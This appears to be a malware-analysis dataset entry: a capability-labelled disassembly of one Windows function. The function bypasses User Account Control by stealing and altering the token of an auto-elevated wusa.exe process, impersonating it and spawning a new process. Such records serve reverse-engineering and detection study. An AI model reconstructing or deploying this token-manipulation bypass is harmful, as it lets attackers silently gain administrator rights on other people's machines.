Function at 0x1400163c5
Capabilities:
Bypass uac via token manipulation
Create process on windows
Create process suspended
Terminate process

Disassembly:
jmp 0x1400341c0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x6b8
lea rbp, [rsp + 0x60]
mov rdi, rsp
mov ecx, 0x1ae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x6d8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x648], rax
lea rcx, [0x14006d21f]
call fcn.140016276
mov dword [rbp + 4], 0
mov dword [rbp + 0x44], 0xc0000022
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0xc8], 0
mov qword [rbp + 0xe8], 0
mov byte [rbp + 0x184], 0
mov byte [rbp + 0x185], 0
mov byte [rbp + 0x186], 0
mov byte [rbp + 0x187], 0
mov byte [rbp + 0x188], 0
mov byte [rbp + 0x189], reloc.OLEAUT32.dll_SafeArrayGetDim
mov qword [rbp + 0x1a8], 0
mov edx, 0x70
lea rcx, [rbp + 0x370]
call fcn.140016c2b
mov qword [rbp + 0x68], 0
mov dword [rbp + 0x228], 0x30
mov qword [rbp + 0x230], 0
mov dword [rbp + 0x240], 0
mov qword [rbp + 0x238], 0
mov qword [rbp + 0x248], 0
mov qword [rbp + 0x250], 0
mov ecx, 5
call fcn.14001623f
mov qword [rbp + 0x148], rax
cmp qword [rbp + 0x148], 0
je 0x14003441a
mov rax, qword [rbp + 0x148]
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x168]
mov rax, qword [rax + 0x50]
mov qword [rbp + 0x278], rax
mov qword [rbp + 0x280], 0
lea r9, [rbp + 0x278]
lea r8, [rbp + 0x228]
mov edx, 0x2000000
lea rcx, [rbp + 0x68]
call qword [sym.imp.ntdll.dll_NtOpenProcess]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jl 0x1400343de
lea r8, [rbp + 0x88]
mov edx, 0x2000000
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ntdll.dll_NtOpenProcessToken]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jl 0x1400343cc
mov dword [rbp + 0x3f4], 0
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 0x3f4]
mov edx, SafeArrayGetElement
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ntdll.dll_NtQueryInformationToken]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jl 0x1400343b4
cmp dword [rbp + 0x3f4], 0
jbe 0x1400343b4
jmp 0x14003440e
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [rbp + 0x88], 0
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [rbp + 0x68], 0
mov rax, qword [rbp + 0x168]
cmp dword [rax], 0
jne 0x1400343ec
jmp 0x14003440e
mov rax, qword [rbp + 0x168]
mov eax, dword [rax]
mov rcx, qword [rbp + 0x168]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x168], rax
jmp 0x140034308
mov rcx, qword [rbp + 0x148]
call fcn.140016032
cmp qword [rbp + 0x68], 0
jne 0x140034477
mov dword [rbp + 0x370], 0x70
mov dword [rbp + 0x374], 0x40
lea rax, str.wusa.exe
mov qword [rbp + 0x388], rax
mov dword [rbp + 0x3a0], 0
lea rcx, [rbp + 0x370]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x140034465
jmp 0x140034837
mov dword [rbp + 4], 1
mov rax, qword [rbp + 0x3d8]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x88], 0
jne 0x1400344a5
lea r8, [rbp + 0x88]
mov edx, 0x2000000
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ntdll.dll_NtOpenProcessToken]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x1400344a5
jmp 0x140034837
mov dword [rbp + 0x1f8], SafeArrayGetDim
mov dword [rbp + 0x1fc], 2
mov byte [rbp + 0x200], 0
mov byte [rbp + 0x201], 0
mov dword [rbp + 0x228], 0x30
mov qword [rbp + 0x230], 0
mov dword [rbp + 0x240], 0
mov qword [rbp + 0x238], 0
mov qword [rbp + 0x248], 0
mov qword [rbp + 0x250], 0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0x250], rax
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
xor r9d, r9d
lea r8, [rbp + 0x228]
mov edx, 0xf01ff
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ntdll.dll_NtDuplicateToken]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140034553
jmp 0x140034837
lea rax, [rbp + 0x1a8]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x2000
mov dl, 1
lea rcx, [rbp + 0x184]
call qword [sym.imp.ntdll.dll_RtlAllocateAndInitializeSid]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x1400345b5
jmp 0x140034837
mov dword [rbp + 0x1d0], 0x20
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x1c8], rax
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ntdll.dll_RtlLengthSid]
mov eax, eax
add rax, 0x10
mov r9d, eax
lea r8, [rbp + 0x1c8]
mov edx, 0x19
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_NtSetInformationToken]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x14003460a
jmp 0x140034837
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 4
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_NtFilterToken]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140034645
jmp 0x140034837
mov qword [rbp + 0xe8], 0
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 2
xor r9d, r9d
lea r8, [rbp + 0x228]
mov edx, SafeArrayGetDim
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.ntdll.dll_NtDuplicateToken]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x14003468e
jmp 0x140034837
mov r9d, 8
lea r8, [rbp + 0xe8]
mov edx, 5
mov rcx, 0xfffffffffffffffe
call qword [sym.imp.ntdll.dll_NtSetInformationThread]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x1400346bb
jmp 0x140034837
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [rbp + 0xe8], 0
mov edx, 0x68
lea rcx, [rbp + 0x2b0]
call fcn.140016c2b
mov dword [rbp + 0x2b0], 0x68
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [rbp + 0x2ec], 1
mov eax, 5
mov word [rbp + 0x2f0], ax
mov edx, reloc.OLEAUT32.dll_SafeArrayGetElement
lea rcx, [rbp + 0x338]
call fcn.140016c2b
cmp dword [rbp + 0x678], 0
je 0x140034746
mov qword [rbp + 0x108], 0
mov rax, qword [rbp + 0x670]
mov qword [rbp + 0x128], rax
jmp 0x14003475f
mov rax, qword [rbp + 0x670]
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x128], 0
lea rax, [rbp + 0x338]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x2b0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rax, qword [rbp + 0x128]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x108]
mov qword [rsp + 0x20], rax
mov r9d, 2
lea r8, str.useless
lea rdx, [0x140052814]
lea rcx, [0x140052820]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x140034803
cmp qword [rbp + 0x340], 0
je 0x1400347e5
mov rcx, qword [rbp + 0x340]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x338], 0
je 0x1400347fc
mov rcx, qword [rbp + 0x338]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x44], 0
mov qword [rbp + 0xe8], 0
mov r9d, 8
lea r8, [rbp + 0xe8]
mov edx, 5
mov rcx, 0xfffffffffffffffe
call qword [sym.imp.ntdll.dll_NtSetInformationThread]
xor eax, eax
test eax, eax
jne 0x140034293
cmp qword [rbp + 0xe8], 0
je 0x14003484e
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ntdll.dll_NtClose]
cmp qword [rbp + 0x88], 0
je 0x140034865
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ntdll.dll_NtClose]
cmp qword [rbp + 0xa8], 0
je 0x14003487c
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_NtClose]
cmp qword [rbp + 0xc8], 0
je 0x140034893
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.ntdll.dll_NtClose]
cmp dword [rbp + 4], 0
je 0x1400348a5
xor edx, edx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
cmp qword [rbp + 0x68], 0
je 0x1400348b6
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ntdll.dll_NtClose]
cmp qword [rbp + 0x1a8], 0
je 0x1400348cd
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ntdll.dll_RtlFreeSid]
mov eax, dword [rbp + 0x44]
mov edi, eax
lea rcx, [rbp - 0x60]
lea rdx, reloc.OLEAUT32.dll_SafeArrayGetDim
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x648]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x658]
pop rdi
pop rbp
ret